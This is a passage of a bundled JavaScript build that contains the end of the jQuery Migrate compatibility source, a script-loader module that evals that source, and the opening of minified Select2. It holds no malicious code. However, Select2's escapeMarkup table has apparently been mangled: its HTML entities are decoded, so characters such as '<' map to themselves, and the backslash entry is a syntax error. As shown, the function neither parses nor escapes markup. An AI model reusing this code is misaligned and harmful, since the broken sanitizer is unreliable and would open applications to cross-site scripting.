name;\n\t}\n\n\t// If the name is transformed, look for the un-transformed name in the data object\n\tif ( name && typeof name === "string" && name !== camelCase( name ) ) {\n\n\t\tcurData = jQuery.hasData( elem ) && origData.call( this, elem );\n\t\tif ( curData && name in curData ) {\n\t\t\tmigrateWarn( "data-camelCase",\n\t\t\t\t"jQuery.data() always sets/gets camelCased names: " + name );\n\t\t\tif ( arguments.length > 2 ) {\n\t\t\t\tcurData[ name ] = value;\n\t\t\t}\n\t\t\treturn curData[ name ];\n\t\t}\n\t}\n\n\treturn origData.apply( this, arguments );\n}, "data-camelCase" );\n\n// Support jQuery slim which excludes the effects module\nif ( jQuery.fx ) {\n\nvar intervalValue, intervalMsg,\n\toldTweenRun = jQuery.Tween.prototype.run,\n\tlinearEasing = function( pct ) {\n\t\treturn pct;\n\t};\n\nmigratePatchFunc( jQuery.Tween.prototype, "run", function( ) {\n\tif ( jQuery.easing[ this.easing ].length > 1 ) {\n\t\tmigrateWarn(\n\t\t\t"easing-one-arg",\n\t\t\t"\'jQuery.easing." + this.easing.toString() + "\' should use only one argument"\n\t\t);\n\n\t\tjQuery.easing[ this.easing ] = linearEasing;\n\t}\n\n\toldTweenRun.apply( this, arguments );\n}, "easing-one-arg" );\n\nintervalValue = jQuery.fx.interval;\nintervalMsg = "jQuery.fx.interval is deprecated";\n\n// Support: IE9, Android <=4.4\n// Avoid false positives on browsers that lack rAF\n// Don\'t warn if document is hidden, jQuery uses setTimeout (#292)\nif ( window.requestAnimationFrame ) {\n\tObject.defineProperty( jQuery.fx, "interval", {\n\t\tconfigurable: true,\n\t\tenumerable: true,\n\t\tget: function() {\n\t\t\tif ( !window.document.hidden ) {\n\t\t\t\tmigrateWarn( "fx-interval", intervalMsg );\n\t\t\t}\n\n\t\t\t// Only fallback to the default if patch is enabled\n\t\t\tif ( !jQuery.migrateIsPatchEnabled( "fx-interval" ) ) {\n\t\t\t\treturn intervalValue;\n\t\t\t}\n\t\t\treturn intervalValue === undefined ? 13 : intervalValue;\n\t\t},\n\t\tset: function( newValue ) {\n\t\t\tmigrateWarn( "fx-interval", intervalMsg );\n\t\t\tintervalValue = newValue;\n\t\t}\n\t} );\n}\n\n}\n\nvar oldLoad = jQuery.fn.load,\n\toldEventAdd = jQuery.event.add,\n\toriginalFix = jQuery.event.fix;\n\njQuery.event.props = [];\njQuery.event.fixHooks = {};\n\nmigrateWarnProp( jQuery.event.props, "concat", jQuery.event.props.concat,\n\t"event-old-patch",\n\t"jQuery.event.props.concat() is deprecated and removed" );\n\nmigratePatchFunc( jQuery.event, "fix", function( originalEvent ) {\n\tvar event,\n\t\ttype = originalEvent.type,\n\t\tfixHook = this.fixHooks[ type ],\n\t\tprops = jQuery.event.props;\n\n\tif ( props.length ) {\n\t\tmigrateWarn( "event-old-patch",\n\t\t\t"jQuery.event.props are deprecated and removed: " + props.join() );\n\t\twhile ( props.length ) {\n\t\t\tjQuery.event.addProp( props.pop() );\n\t\t}\n\t}\n\n\tif ( fixHook && !fixHook._migrated_ ) {\n\t\tfixHook._migrated_ = true;\n\t\tmigrateWarn( "event-old-patch",\n\t\t\t"jQuery.event.fixHooks are deprecated and removed: " + type );\n\t\tif ( ( props = fixHook.props ) && props.length ) {\n\t\t\twhile ( props.length ) {\n\t\t\t\tjQuery.event.addProp( props.pop() );\n\t\t\t}\n\t\t}\n\t}\n\n\tevent = originalFix.call( this, originalEvent );\n\n\treturn fixHook && fixHook.filter ?\n\t\tfixHook.filter( event, originalEvent ) :\n\t\tevent;\n}, "event-old-patch" );\n\nmigratePatchFunc( jQuery.event, "add", function( elem, types ) {\n\n\t// This misses the multiple-types case but that seems awfully rare\n\tif ( elem === window && types === "load" && window.document.readyState === "complete" ) {\n\t\tmigrateWarn( "load-after-event",\n\t\t\t"jQuery(window).on(\'load\'...) called after load event occurred" );\n\t}\n\treturn oldEventAdd.apply( this, arguments );\n}, "load-after-event" );\n\njQuery.each( [ "load", "unload", "error" ], function( _, name ) {\n\n\tmigratePatchFunc( jQuery.fn, name, function() {\n\t\tvar args = Array.prototype.slice.call( arguments, 0 );\n\n\t\t// If this is an ajax load() the first arg should be the string URL;\n\t\t// technically this could also be the "Anything" arg of the event .load()\n\t\t// which just goes to show why this dumb signature has been deprecated!\n\t\t// jQuery custom builds that exclude the Ajax module justifiably die here.\n\t\tif ( name === "load" && typeof args[ 0 ] === "string" ) {\n\t\t\treturn oldLoad.apply( this, args );\n\t\t}\n\n\t\tmigrateWarn( "shorthand-removed-v3",\n\t\t\t"jQuery.fn." + name + "() is deprecated" );\n\n\t\targs.splice( 0, 0, name );\n\t\tif ( arguments.length ) {\n\t\t\treturn this.on.apply( this, args );\n\t\t}\n\n\t\t// Use .triggerHandler here because:\n\t\t// - load and unload events don\'t need to bubble, only applied to window or image\n\t\t// - error event should not bubble to window, although it does pre-1.7\n\t\t// See http://bugs.jquery.com/ticket/11820\n\t\tthis.triggerHandler.apply( this, args );\n\t\treturn this;\n\t}, "shorthand-removed-v3" );\n\n} );\n\njQuery.each( ( "blur focus focusin focusout resize scroll click dblclick " +\n\t"mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave " +\n\t"change select submit keydown keypress keyup contextmenu" ).split( " " ),\n\tfunction( _i, name ) {\n\n\t// Handle event binding\n\tmigratePatchAndWarnFunc( jQuery.fn, name, function( data, fn ) {\n\t\treturn arguments.length > 0 ?\n\t\t\tthis.on( name, null, data, fn ) :\n\t\t\tthis.trigger( name );\n\t\t},\n\t\t"shorthand-deprecated-v3",\n\t\t"jQuery.fn." + name + "() event shorthand is deprecated" );\n} );\n\n// Trigger "ready" event only once, on document ready\njQuery( function() {\n\tjQuery( window.document ).triggerHandler( "ready" );\n} );\n\njQuery.event.special.ready = {\n\tsetup: function() {\n\t\tif ( this === window.document ) {\n\t\t\tmigrateWarn( "ready-event", "\'ready\' event is deprecated" );\n\t\t}\n\t}\n};\n\nmigratePatchAndWarnFunc( jQuery.fn, "bind", function( types, data, fn ) {\n\treturn this.on( types, null, data, fn );\n}, "pre-on-methods", "jQuery.fn.bind() is deprecated" );\nmigratePatchAndWarnFunc( jQuery.fn, "unbind", function( types, fn ) {\n\treturn this.off( types, null, fn );\n}, "pre-on-methods", "jQuery.fn.unbind() is deprecated" );\nmigratePatchAndWarnFunc( jQuery.fn, "delegate", function( selector, types, data, fn ) {\n\treturn this.on( types, selector, data, fn );\n}, "pre-on-methods", "jQuery.fn.delegate() is deprecated" );\nmigratePatchAndWarnFunc( jQuery.fn, "undelegate", function( selector, types, fn ) {\n\treturn arguments.length === 1 ?\n\t\tthis.off( selector, "**" ) :\n\t\tthis.off( types, selector || "**", fn );\n}, "pre-on-methods", "jQuery.fn.undelegate() is deprecated" );\nmigratePatchAndWarnFunc( jQuery.fn, "hover", function( fnOver, fnOut ) {\n\treturn this.on( "mouseenter", fnOver ).on( "mouseleave", fnOut || fnOver );\n}, "pre-on-methods", "jQuery.fn.hover() is deprecated" );\n\nvar rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\\/\\0>\\x20\\t\\r\\n\\f]*)[^>]*)\\/>/gi,\n\tmakeMarkup = function( html ) {\n\t\tvar doc = window.document.implementation.createHTMLDocument( "" );\n\t\tdoc.body.innerHTML = html;\n\t\treturn doc.body && doc.body.innerHTML;\n\t},\n\twarnIfChanged = function( html ) {\n\t\tvar changed = html.replace( rxhtmlTag, "<$1></$2>" );\n\t\tif ( changed !== html && makeMarkup( html ) !== makeMarkup( changed ) ) {\n\t\t\tmigrateWarn( "self-closed-tags",\n\t\t\t\t"HTML tags must be properly nested and closed: " + html );\n\t\t}\n\t};\n\n/**\n * Deprecated, please use `jQuery.migrateDisablePatches( "self-closed-tags" )` instead.\n * @deprecated\n */\njQuery.UNSAFE_restoreLegacyHtmlPrefilter = function() {\n\tjQuery.migrateEnablePatches( "self-closed-tags" );\n};\n\nmigratePatchFunc( jQuery, "htmlPrefilter", function( html ) {\n\twarnIfChanged( html );\n\treturn html.replace( rxhtmlTag, "<$1></$2>" );\n}, "self-closed-tags" );\n\n// This patch needs to be disabled by default as it re-introduces\n// security issues (CVE-2020-11022, CVE-2020-11023).\njQuery.migrateDisablePatches( "self-closed-tags" );\n\nvar origOffset = jQuery.fn.offset;\n\nmigratePatchFunc( jQuery.fn, "offset", function() {\n\tvar elem = this[ 0 ];\n\n\tif ( elem && ( !elem.nodeType || !elem.getBoundingClientRect ) ) {\n\t\tmigrateWarn( "offset-valid-elem", "jQuery.fn.offset() requires a valid DOM element" );\n\t\treturn arguments.length ? this : undefined;\n\t}\n\n\treturn origOffset.apply( this, arguments );\n}, "offset-valid-elem" );\n\n// Support jQuery slim which excludes the ajax module\n// The jQuery.param patch is about respecting `jQuery.ajaxSettings.traditional`\n// so it doesn\'t make sense for the slim build.\nif ( jQuery.ajax ) {\n\nvar origParam = jQuery.param;\n\nmigratePatchFunc( jQuery, "param", function( data, traditional ) {\n\tvar ajaxTraditional = jQuery.ajaxSettings && jQuery.ajaxSettings.traditional;\n\n\tif ( traditional === undefined && ajaxTraditional ) {\n\n\t\tmigrateWarn( "param-ajax-traditional",\n\t\t\t"jQuery.param() no longer uses jQuery.ajaxSettings.traditional" );\n\t\ttraditional = ajaxTraditional;\n\t}\n\n\treturn origParam.call( this, data, traditional );\n}, "param-ajax-traditional" );\n\n}\n\nmigratePatchAndWarnFunc( jQuery.fn, "andSelf", jQuery.fn.addBack, "andSelf",\n\t"jQuery.fn.andSelf() is deprecated and removed, use jQuery.fn.addBack()" );\n\n// Support jQuery slim which excludes the deferred module in jQuery 4.0+\nif ( jQuery.Deferred ) {\n\nvar oldDeferred = jQuery.Deferred,\n\ttuples = [\n\n\t\t// Action, add listener, callbacks, .then handlers, final state\n\t\t[ "resolve", "done", jQuery.Callbacks( "once memory" ),\n\t\t\tjQuery.Callbacks( "once memory" ), "resolved" ],\n\t\t[ "reject", "fail", jQuery.Callbacks( "once memory" ),\n\t\t\tjQuery.Callbacks( "once memory" ), "rejected" ],\n\t\t[ "notify", "progress", jQuery.Callbacks( "memory" ),\n\t\t\tjQuery.Callbacks( "memory" ) ]\n\t];\n\nmigratePatchFunc( jQuery, "Deferred", function( func ) {\n\tvar deferred = oldDeferred(),\n\t\tpromise = deferred.promise();\n\n\tfunction newDeferredPipe( /* fnDone, fnFail, fnProgress */ ) {\n\t\tvar fns = arguments;\n\n\t\treturn jQuery.Deferred( function( newDefer ) {\n\t\t\tjQuery.each( tuples, function( i, tuple ) {\n\t\t\t\tvar fn = typeof fns[ i ] === "function" && fns[ i ];\n\n\t\t\t\t// Deferred.done(function() { bind to newDefer or newDefer.resolve })\n\t\t\t\t// deferred.fail(function() { bind to newDefer or newDefer.reject })\n\t\t\t\t// deferred.progress(function() { bind to newDefer or newDefer.notify })\n\t\t\t\tdeferred[ tuple[ 1 ] ]( function() {\n\t\t\t\t\tvar returned = fn && fn.apply( this, arguments );\n\t\t\t\t\tif ( returned && typeof returned.promise === "function" ) {\n\t\t\t\t\t\treturned.promise()\n\t\t\t\t\t\t\t.done( newDefer.resolve )\n\t\t\t\t\t\t\t.fail( newDefer.reject )\n\t\t\t\t\t\t\t.progress( newDefer.notify );\n\t\t\t\t\t} else {\n\t\t\t\t\t\tnewDefer[ tuple[ 0 ] + "With" ](\n\t\t\t\t\t\t\tthis === promise ? newDefer.promise() : this,\n\t\t\t\t\t\t\tfn ? [ returned ] : arguments\n\t\t\t\t\t\t);\n\t\t\t\t\t}\n\t\t\t\t} );\n\t\t\t} );\n\t\t\tfns = null;\n\t\t} ).promise();\n\t}\n\n\tmigratePatchAndWarnFunc( deferred, "pipe", newDeferredPipe, "deferred-pipe",\n\t\t"deferred.pipe() is deprecated" );\n\tmigratePatchAndWarnFunc( promise, "pipe", newDeferredPipe, "deferred-pipe",\n\t\t"deferred.pipe() is deprecated" );\n\n\tif ( func ) {\n\t\tfunc.call( deferred, deferred );\n\t}\n\n\treturn deferred;\n}, "deferred-pipe" );\n\n// Preserve handler of uncaught exceptions in promise chains\njQuery.Deferred.exceptionHook = oldDeferred.exceptionHook;\n\n}\n\nreturn jQuery;\n} );\n'},41:e=>{e.exports=function(e){function t(e){typeof console!=="undefined"&&(console.error||console.log)("[Script Loader]",e)}function n(){return typeof attachEvent!=="undefined"&&typeof addEventListener==="undefined"}try{if(typeof execScript!=="undefined"&&n()){execScript(e)}else if(typeof eval!=="undefined"){eval.call(null,e)}else{t("EvalError: No eval function available")}}catch(e){t(e)}}},487:(e,t,n)=>{n(41)(n(488))},506:(e,t,n)=>{var i,r,s; /*! * Select2 4.0.13 * https://select2.github.io * * Released under the MIT license * https://github.com/select2/select2/blob/master/LICENSE.md */(function(o){if(true){!(r=[n(486)],i=o,s=typeof i==="function"?i.apply(t,r):i,s!==undefined&&(e.exports=s))}else{}})((function(t){var n=function(){if(t&&t.fn&&t.fn.select2&&t.fn.select2.amd){var n=t.fn.select2.amd}var n;(function(){if(!n||!n.requirejs){if(!n){n={}}else{t=n} /** * @license almond 0.3.3 Copyright jQuery Foundation and other contributors. * Released under MIT license, http://github.com/requirejs/almond/LICENSE */var e,t,i;(function(n){var r,s,o,a,l={},u={},c={},f={},d=Object.prototype.hasOwnProperty,h=[].slice,p=/\.js$/;function g(e,t){return d.call(e,t)}function v(e,t){var n,i,r,s,o,a,l,u,f,d,h,g,v=t&&t.split("/"),m=c.map,y=m&&m["*"]||{};if(e){e=e.split("/");o=e.length-1;if(c.nodeIdCompat&&p.test(e[o])){e[o]=e[o].replace(p,"")}if(e[0].charAt(0)==="."&&v){g=v.slice(0,v.length-1);e=g.concat(e)}for(f=0;f<e.length;f++){h=e[f];if(h==="."){e.splice(f,1);f-=1}else if(h===".."){if(f===0||f===1&&e[2]===".."||e[f-1]===".."){continue}else if(f>0){e.splice(f-1,2);f-=2}}}e=e.join("/")}if((v||y)&&m){n=e.split("/");for(f=n.length;f>0;f-=1){i=n.slice(0,f).join("/");if(v){for(d=v.length;d>0;d-=1){r=m[v.slice(0,d).join("/")];if(r){r=r[i];if(r){s=r;a=f;break}}}}if(s){break}if(!l&&y&&y[i]){l=y[i];u=f}}if(!s&&l){s=l;a=u}if(s){n.splice(0,a,s);e=n.join("/")}}return e}function m(e,t){return function(){var i=h.call(arguments,0);if(typeof i[0]!=="string"&&i.length===1){i.push(null)}return s.apply(n,i.concat([e,t]))}}function y(e){return function(t){return v(t,e)}}function b(e){return function(t){l[e]=t}}function _(e){if(g(u,e)){var t=u[e];delete u[e];f[e]=true;r.apply(n,t)}if(!g(l,e)&&!g(f,e)){throw new Error("No "+e)}return l[e]}function w(e){var t,n=e?e.indexOf("!"):-1;if(n>-1){t=e.substring(0,n);e=e.substring(n+1,e.length)}return[t,e]}function x(e){return e?w(e):[]}o=function(e,t){var n,i=w(e),r=i[0],s=t[1];e=i[1];if(r){r=v(r,s);n=_(r)}if(r){if(n&&n.normalize){e=n.normalize(e,y(s))}else{e=v(e,s)}}else{e=v(e,s);i=w(e);r=i[0];e=i[1];if(r){n=_(r)}}return{f:r?r+"!"+e:e,n:e,pr:r,p:n}};function k(e){return function(){return c&&c.config&&c.config[e]||{}}}a={require:function(e){return m(e)},exports:function(e){var t=l[e];if(typeof t!=="undefined"){return t}else{return l[e]={}}},module:function(e){return{id:e,uri:"",exports:l[e],config:k(e)}}};r=function(e,t,i,r){var s,c,d,h,p,v,y=[],w=typeof i,k;r=r||e;v=x(r);if(w==="undefined"||w==="function"){t=!t.length&&i.length?["require","exports","module"]:t;for(p=0;p<t.length;p+=1){h=o(t[p],v);c=h.f;if(c==="require"){y[p]=a.require(e)}else if(c==="exports"){y[p]=a.exports(e);k=true}else if(c==="module"){s=y[p]=a.module(e)}else if(g(l,c)||g(u,c)||g(f,c)){y[p]=_(c)}else if(h.p){h.p.load(h.n,m(r,true),b(c),{});y[p]=l[c]}else{throw new Error(e+" missing "+c)}}d=i?i.apply(l[e],y):undefined;if(e){if(s&&s.exports!==n&&s.exports!==l[e]){l[e]=s.exports}else if(d!==n||!k){l[e]=d}}}else if(e){l[e]=i}};e=t=s=function(e,t,i,l,u){if(typeof e==="string"){if(a[e]){return a[e](t)}return _(o(e,x(t)).f)}else if(!e.splice){c=e;if(c.deps){s(c.deps,c.callback)}if(!t){return}if(t.splice){e=t;t=i;i=null}else{e=n}}t=t||function(){};if(typeof i==="function"){i=l;l=u}if(l){r(n,e,t,i)}else{setTimeout((function(){r(n,e,t,i)}),4)}return s};s.config=function(e){return s(e)};e._defined=l;i=function(e,t,n){if(typeof e!=="string"){throw new Error("See almond README: incorrect module build, no module name")}if(!t.splice){n=t;t=[]}if(!g(l,e)&&!g(u,e)){u[e]=[e,t,n]}};i.amd={jQuery:true}})();n.requirejs=e;n.require=t;n.define=i}})();n.define("almond",(function(){}));n.define("jquery",[],(function(){var e=t||$;if(e==null&&console&&console.error){console.error("Select2: An instance of jQuery or a jQuery-compatible library was not "+"found. Make sure that you are including jQuery before Select2 on your "+"web page.")}return e}));n.define("select2/utils",["jquery"],(function(e){var t={};t.Extend=function(e,t){var n={}.hasOwnProperty;function i(){this.constructor=e}for(var r in t){if(n.call(t,r)){e[r]=t[r]}}i.prototype=t.prototype;e.prototype=new i;e.__super__=t.prototype;return e};function n(e){var t=e.prototype;var n=[];for(var i in t){var r=t[i];if(typeof r!=="function"){continue}if(i==="constructor"){continue}n.push(i)}return n}t.Decorate=function(e,t){var i=n(t);var r=n(e);function s(){var n=Array.prototype.unshift;var i=t.prototype.constructor.length;var r=e.prototype.constructor;if(i>0){n.call(arguments,e.prototype.constructor);r=t.prototype.constructor}r.apply(this,arguments)}t.displayName=e.displayName;function o(){this.constructor=s}s.prototype=new o;for(var a=0;a<r.length;a++){var l=r[a];s.prototype[l]=e.prototype[l]}var u=function(e){var n=function(){};if(e in s.prototype){n=s.prototype[e]}var i=t.prototype[e];return function(){var e=Array.prototype.unshift;e.call(arguments,n);return i.apply(this,arguments)}};for(var c=0;c<i.length;c++){var f=i[c];s.prototype[f]=u(f)}return s};var i=function(){this.listeners={}};i.prototype.on=function(e,t){this.listeners=this.listeners||{};if(e in this.listeners){this.listeners[e].push(t)}else{this.listeners[e]=[t]}};i.prototype.trigger=function(e){var t=Array.prototype.slice;var n=t.call(arguments,1);this.listeners=this.listeners||{};if(n==null){n=[]}if(n.length===0){n.push({})}n[0]._type=e;if(e in this.listeners){this.invoke(this.listeners[e],t.call(arguments,1))}if("*"in this.listeners){this.invoke(this.listeners["*"],arguments)}};i.prototype.invoke=function(e,t){for(var n=0,i=e.length;n<i;n++){e[n].apply(this,t)}};t.Observable=i;t.generateChars=function(e){var t="";for(var n=0;n<e;n++){var i=Math.floor(Math.random()*36);t+=i.toString(36)}return t};t.bind=function(e,t){return function(){e.apply(t,arguments)}};t._convertData=function(e){for(var t in e){var n=t.split("-");var i=e;if(n.length===1){continue}for(var r=0;r<n.length;r++){var s=n[r];s=s.substring(0,1).toLowerCase()+s.substring(1);if(!(s in i)){i[s]={}}if(r==n.length-1){i[s]=e[t]}i=i[s]}delete e[t]}return e};t.hasScroll=function(t,n){var i=e(n);var r=n.style.overflowX;var s=n.style.overflowY;if(r===s&&(s==="hidden"||s==="visible")){return false}if(r==="scroll"||s==="scroll"){return true}return i.innerHeight()<n.scrollHeight||i.innerWidth()<n.scrollWidth};t.escapeMarkup=function(e){var t={"\\":"\","&":"&","<":"<",">":">",'"':""","'":"'","/":"/"};if(typeof e!=="string"){return e}return String(e).replace(/[&<>"'\/\\]/g,(function(e){return t[e]}))};t.appendMany=function(t,n){if(e.fn.jquery.substr(0,3)==="1.7"){var i=e();e.map(n,(function(e){i=i.add(e)}));n=i}t.append(n)};t.__cache={};var r=0;t.GetUniqueElementId=function(e){var t=e.getAttribute("data-select2-id");if(t==null){if(e.id){t=e.id;e.setAttribute("data-select2-id",t)}else{e.setAttribute("data-select2-id",++r);t=r.toString()}}return t};t.StoreData=function(e,n,i){var r=t.GetUniqueElementId(e);if(!t.__cache[r]){t.__cache[r]={}}t.__cache[r][n]=i};t.GetData=function(n,i){var r=t.GetUniqueElementId(n);if(i){if(t.__cache[r]){if(t.__cache[r][i]!=null){return t.__cache[r][i]}return e(n).data(i)}return e(n).data(i)}else{return t.__cache[r]}};t.RemoveData=function(e){var n=t.GetUniqueElementId(e);if(t.__cache[n]!=null){delete t.__cache[n]}e.removeAttribute("data-select2-id")};return t}));n.define("select2/results",["jquery","./utils"],(function(e,t){function n(e,t,i){this.$element=e;this.data=i;this.options=t;n.__super__.constructor.call(this)}t.Extend(n,t.Observable);n.prototype.render=function(){var t=e('<ul class="select2-results__options" role="listbox"></ul>');if(this.options.get("multiple")){t.attr("aria-multiselectable","true")}this.$results=t;return t};n.prototype.clear=function(){this.$results.empty()};n.prototype.displayMessage=function(t){var n=this.options.get("escapeMarkup");this.clear();this.hideLoading();var i=e('<li role="alert" aria-live="assertive"'+' class="select2-results__option"></li>');var r=this.options.get("translations").get(t.message);i.append(n(r(t.args)));i[0].className+=" select2-results__message";this.$results.append(i)};n.prototype.hideMessages=function(){this.$results.find(".select2-results__message").remove()};n.prototype.append=function(e){this.hideLoading();var t=[];if(e.results==null||e.results.length===0){if(this.$results.children().length===0){this.trigger("results:message",{message:"noResults"})}return}e.results=this.sort(e.results);for(var n=0;n<e.results.length;n++){var i=e.results[n];var r=this.option(i);t.push(r)}this.$results.append(t)};n.prototype.position=function(e,t){var n=t.find(".select2-results");n.append(e)};n.prototype.sort=function(e){var t=this.options.get("sorter");return t(e)};n.prototype.highlightFirstItem=function(){var e=this.$results.find(".select2-results__option[aria-selected]");var t=e.filter("[aria-selected=true]");if(t.length>0){t.first().trigger("mouseenter")}else{e.first().trigger("mouseenter")}this.ensureHighlightVisible()};n.prototype.setClasses=function(){var n=this;this.data.current((function(i){var r=e.map(i,(function(e){return e.id.toString()}));var s=n.$results.find(".select2-results__option[aria-selected]");s.each((function(){var n=e(this);var i=t.GetData(this,"data");var s=""+i.id;if(i.element!=null&&i.element.selected||i.element==null&&e.inArray(s,r)>-1){n.attr("aria-selected","true")}else{n.attr("aria-selected","false")}}))}))};n.prototype.showLoading=function(e){this.hideLoading();var t=this.options.get("translations").get("searching");var n={disabled:true,loading:true,text:t(e)};var i=this.option(n);i.className+=" loading-results";this.$results.prepend(i)};n.prototype.hideLoading=function(){this.$results.find(".loading-results").remove()};n.prototype.option=function(n){var i=document.createElement("li");i.className="select2-results__option";var r={role:"option","aria-selected":"false"};var s=window.Element.prototype.matches||window.Element.prototype.msMatchesSelector||window.Element.prototype.webkitMatchesSelector;if(n.element!=null&&s.call(n.element,":disabled")||n.element==null&&n.disabled){delete r["aria-selected"];r["aria-disabled"]="true"}if(n.id==null){delete r["aria-selected"]}if(n._resultId!=null){i.id=n._resultId}if(n.title){i.title=n.title}if(n.children){r.role="group";r["aria-label"]=n.text;delete r["aria-selected"]}for(var o in r){var a=r[o];i.setAttribute(o,a)}if(n.children){var l=e(i);var u=document.createElement("strong");u.className="select2-results__group";var c=e(u);this.template(n,u);var f=[];for(var d=0;d<n.children.length;d++){var h=n.children[d];var p=this.option(h);f.push(p)}var g=e("<ul></ul>",{class:"select2-results__options select2-results__options--nested"});g.append(f);l.append(u);l.append(g)}else{this.template(n,i)}t.StoreData(i,"data",n);return i};n.prototype.bind=function(n,i){var r=this;var s=n.id+"-results";this.$results.attr("id",s);n.on("results:all",(function(e){r.clear();r.append(e.data);if(n.isOpen()){r.setClasses();r.highlightFirstItem()}}));n.on("results:append",(function(e){r.append(e.data);if(n.isOpen()){r.setClasses()}}));n.on("query",(function(e){r.hideMessages();r.showLoading(e)}));n.on("select",(function(){if(!n.isOpen()){return}r.setClasses();if(r.options.get("scrollAfterSelect")){r.highlightFirstItem()}}));n.on("unselect",(function(){if(!n.isOpen()){return}r.setClasses();if(r.options.get("scrollAfterSelect")){r.highlightFirstItem()}}));n.on("open",(function(){r.$results.attr("aria-expanded","true");r.$results.attr("aria-hidden","false");r.setClasses();r.ensureHighlightVisible()}));n.on("close",(function(){r.$results.attr("aria-expanded","false");r.$results.attr("aria-hidden","true");r.$results.removeAttr("aria-activedescendant")}));n.on("results:toggle",(function(){var e=r.getHighlightedResults();if(e.length===0){return}e.trigger("mouseup")}));n.on("results:select",(function(){var e=r.getHighlightedResults();if(e.length===0){return}var n=t.GetData(e[0],"data");if(e.attr("aria-selected")=="true"){r.trigger("close",{})}else{r.trigger("select",{data:n})}}));n.on("results:previous",(function(){var e=r.getHighlightedResults();var t=r.$results.find("[aria-selected]");var n=t.index(e);if(n<=0){return}var i=n-1;if(e.length===0){i=0}var s=t.eq(i);s.trigger("mouseenter");var o=r.$results.offset().top;var a=s.offset().top;var l=r.$results.scrollTop()+(a-o);if(i===0){r.$results.scrollTop(0)}else if(a-o<0){r.$results.scrollTop(l)}}));n.on("results:next",(function(){var e=r.getHighlightedResults();var t=r.$results.find("[aria-selected]");var n=t.index(e);var i=n+1;if(i>=t.length){return}var s=t.eq(i);s.trigger("mouseenter");var o=r.$results.offset().top+r.$results.outerHeight(false);var a=s.offset().top+s.outerHeight(false);var l=r.$results.scrollTop()+a-o;if(i===0){r.$results.scrollTop(0)}else if(a>o){r.$results.scrollTop(l)}}));n.on("results:focus",(function(e){e.element.addClass("select2-results__option--highlighted")}));n.on("results:message",(function(e){r.displayMessage(e)}));if(e.fn.mousewheel){this.$results.on("mousewheel",(function(e){var t=r.$results.scrollTop();var n=r.$results.get(0).scrollHeight-t+e.deltaY;var i=e.deltaY>0&&t-e.deltaY<=0;var s=e.deltaY<0&&n<=r.$results.height();if(i){r.$results.scrollTop(0);e.preventDefault();e.stopPropagation()}else if(s){r.$results.scrollTop(r.$results.get(0).scrollHeight-r.$results.height());e.preventDefault();e.stopPropagation()}}))}this.$results.on("mouseup",".select2-results__option[aria-selected]",(function(n){var i=e(this);var s=t.GetData(this,"data");if(i.attr("aria-selected")==="true"){if(r.options.get("multiple")){r.trigger("unselect",{originalEvent:n,data:s})}else{r.trigger("close",{})}return}r.trigger("select",{originalEvent:n,data:s})}));this.$results.on("mouseenter",".select2-results__option[aria-selected]",(function(n){var i=t.GetData(this,"data");r.getHighlightedResults().removeClass("select2-results__option--highlighted");r.trigger("results:focus",{data:i,element:e(this)})}))};n.prototype.getHighlightedResults=function(){var e=this.$results.find(".select2-results__option--highlighted");return e};n.prototype.destroy=function(){this.$results.remove()};n.prototype.ensureHighlightVisible=function(){var e=this.getHighlightedResults();if(e.length===0){return}var t=this.$results.find("[aria-selected]");var n=t.index(e);var i=this.$results.offset().top;var r=e.offset().top;var s=this.$results.scrollTop()+(r-i);var o=r-i;s-=e.outerHeight(false)*2;if(n<=2){this.$results.scrollTop(0)}else if(o>this.$results.outerHeight()||o<0){this.$results.scrollTop(s)}};n.prototype.template=function(t,n){var i=this.options.get("templateResult");var r=this.options.get("escapeMarkup");var s=i(t,n);if(s==null){n.style.display="none"}else if(typeof s==="string"){n.innerHTML=r(s)}else{e(n).append(s)}};return n}));n.define("select2/keys",[],(function(){var e={BACKSPACE:8,TAB:9,ENTER:13,SHIFT:16,CTRL:17,ALT:18,ESC:27,SPACE:32,PAGE_UP:33,PAGE_DOWN:34,END:35,HOME:36,LEFT:37,UP:38,RIGHT:39,DOWN:40,DELETE:46};return e}));n.define("select2/selection/base",["jquery","../utils","../keys"],(function(e,t,n){function i(e,t){this.$element=e;this.options=t;i.__super__.constructor.call(this)}t.Extend(i,t.Observable);i.prototype.render=function(){var n=e('<span class="select2-selection" role="combobox" '+' aria-haspopup="true" aria-expanded="false">'+"</span>");this._tabindex=0;if(t.GetData(this.$element[0],"old-tabindex")!=null){this._tabindex=t.GetData(this.$element[0],"old-tabindex")}else if(this.$element.attr("tabindex")!=null){this._tabindex=this.$element.attr("tabindex")}n.attr("title",this.$element.attr("title"));n.attr("tabindex",this._tabindex);n.attr("aria-disabled","false");this.$selection=n;return n};i.prototype.bind=function(e,t){var i=this;var r=e.id+"-results";this.container=e;this.$selection.on("focus",(function(e){i.trigger("focus",e)}));this.$selection.on("blur",(function(e){i._handleBlur(e)}));this.$selection.on("keydown",(function(e){i.trigger("keypress",e);if(e.which===n.SPACE){e.preventDefault()}}));e.on("results:focus",(function(e){i.$selection.attr("aria-activedescendant",e.data._resultId)}));e.on("selection:update",(function(e){i.update(e.data)}));e.on("open",(function(){i.$selection.attr("aria-expanded","true");i.$selection.attr("aria-owns",r);i._attachCloseHandler(e)}));e.on("close",(function(){i.$selection.attr("aria-expanded","false");i.$selection.removeAttr("aria-activedescendant");i.$selection.removeAttr("aria-owns");i.$selection.trigger("focus");i._detachCloseHandler(e)}));e.on("enable",(function(){i.$selection.attr("tabindex",i._tabindex);i.$selection.attr("aria-disabled","false")}));e.on("disable",(function(){i.$selection.attr("tabindex","-1");i.$selection.attr("aria-disabled","true")}))};i.prototype._handleBlur=function(t){var n=this;window.setTimeout((function(){if(document.activeElement==n.$selection[0]||e.contains(n.$selection[0],document.activeElement)){return}n.trigger("blur",t)}),1)};i.prototype._attachCloseHandler=function(n){e(document.body).on("mousedown.select2."+n.id,(function(n){var i=e(n.target);var r=i.closest(".select2");var s=e(".select2.select2-container--open");s.each((function(){if(this==r[0]){return}var e=t.GetData(this,"element");e.select2("close")}))}))};i.prototype._detachCloseHandler=function(t){e(document.body).off("mousedown.select2."+t.id)};i.prototype.position=function(e,t){var n=t.find(".selection");n.append(e)};i.prototype.destroy=function(){this._detachCloseHandler(this.container)};i.prototype.update=function(e){throw new Error("The `update` method must be defined in child classes.")};i.prototype.isEnabled=function(){return!this.isDisabled()};i.prototype.isDisabled=function(){return this.options.get("disabled")};return i}));n.define("select2/selection/single",["jquery","./base","../utils","../keys"],(function(e,t,n,i){function 